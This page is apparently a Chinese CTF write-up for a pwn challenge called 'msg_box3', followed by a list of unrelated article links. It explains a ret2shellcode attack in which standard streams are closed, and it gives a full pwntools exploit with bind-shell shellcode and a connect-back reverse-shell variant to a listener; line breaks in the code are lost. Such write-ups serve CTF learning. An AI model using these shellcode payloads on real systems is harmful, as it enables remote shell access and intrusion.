当前位置: 首页 > news >正文

[socket 弹 shell] msg_box3

前言

题目比较简单,没开 Canary 和 NX.

    Arch:     amd64-64-littleRELRO:    Full RELROStack:    Canary foundNX:       NX disabledPIE:      PIE enabledRWX:      Has RWX segments

漏洞利用与分析:

白给的函数调用,其中 ptr + 10 是用户可控的,而 NX 又没开,所以 ret2shellcode

主要的考点就是其在执行 shellcode 之前,把 stdin/stdout/stderr 全给关了。但是这里题目并没有开沙箱,所以直接利用 socket 进行通信拿 shell。

exp 如下:

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libcdef debug():gdb.attach(io)pause()sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b'Enter your choice: 'sla(menu, b'1')
sla(b'):\n', b'XiaozaYa')
def exp1():port = 5555shellcode = asm(shellcraft.bindsh(port, 'ipv4'))sla(b'):\n', shellcode)sla(menu, b'3')x = remote('127.0.0.1', port)x.interactive()def exp2():port = 4444x = listen(port)shellcode = asm(shellcraft.connect('127.0.0.1', port) + shellcraft.dupsh())sla(b'):\n', shellcode)sla(menu, b'3')x.interactive()#shellcode = asm(shellcraft.findpeersh(io.lport))
#sla(b'):\n', shellcode)
#sla(menu, b'3')
#sh()if __name__ == '__main__':exp1()#exp2()

相关文章:

  • 《微信小程序开发从入门到实战》学习三十三
  • 【【Linux下的Petallinux 以及其他的配置】】
  • C++ 用ifstream读文件
  • linux chown 命令详解
  • Failed to load resource: the server responded with a status of 404 ()
  • 常见面试题-Netty中ByteBuf类
  • 【腾讯云云上实验室】用向量数据库——实现高效文本检索功能
  • isbn api开放接口
  • 在Windows系统上安装git-Git的过程记录
  • C++ :const修饰成员函数
  • HTML新手入门笔记整理:HTML基本介绍
  • Vue简单的表单操作
  • Java中的jvm——面试题+答案(Java虚拟机更深层次的概念和原理,包括字节码、代理、内存管理、并发等)——第17期
  • unity UGUI中获取点击位置处的URL链接
  • C++STL——string类详解及其模拟实现
  • JS 中的深拷贝与浅拷贝
  • 【Leetcode】104. 二叉树的最大深度
  • 【编码】-360实习笔试编程题(二)-2016.03.29
  • 2019.2.20 c++ 知识梳理
  • Angular6错误 Service: No provider for Renderer2
  • ES6, React, Redux, Webpack写的一个爬 GitHub 的网页
  • express.js的介绍及使用
  • Java比较器对数组,集合排序
  • JS 面试题总结
  • js数组之filter
  • Just for fun——迅速写完快速排序
  • SegmentFault 技术周刊 Vol.27 - Git 学习宝典:程序员走江湖必备
  • SpiderData 2019年2月25日 DApp数据排行榜
  • tab.js分享及浏览器兼容性问题汇总
  • 互联网大裁员:Java程序员失工作,焉知不能进ali?
  • 面试题:给你个id,去拿到name,多叉树遍历
  • 原生js练习题---第五课
  • 转载:[译] 内容加速黑科技趣谈
  • 分布式关系型数据库服务 DRDS 支持显示的 Prepare 及逻辑库锁功能等多项能力 ...
  • ​直流电和交流电有什么区别为什么这个时候又要变成直流电呢?交流转换到直流(整流器)直流变交流(逆变器)​
  • (2)(2.4) TerraRanger Tower/Tower EVO(360度)
  • (三)docker:Dockerfile构建容器运行jar包
  • (数位dp) 算法竞赛入门到进阶 书本题集
  • (四)七种元启发算法(DBO、LO、SWO、COA、LSO、KOA、GRO)求解无人机路径规划MATLAB
  • (小白学Java)Java简介和基本配置
  • (一)VirtualBox安装增强功能
  • (原創) 如何動態建立二維陣列(多維陣列)? (.NET) (C#)
  • (转)C#开发微信门户及应用(1)--开始使用微信接口
  • .mysql secret在哪_MySQL如何使用索引
  • .net core使用RPC方式进行高效的HTTP服务访问
  • .NET DataGridView数据绑定说明
  • .NET gRPC 和RESTful简单对比
  • .NET Micro Framework初体验(二)
  • .NET中统一的存储过程调用方法(收藏)
  • @Autowired @Resource @Qualifier的区别
  • @SpringBootApplication 包含的三个注解及其含义
  • [ JavaScript ] JSON方法
  • [ vulhub漏洞复现篇 ] Grafana任意文件读取漏洞CVE-2021-43798
  • [100天算法】-二叉树剪枝(day 48)
  • [20171102]视图v$session中process字段含义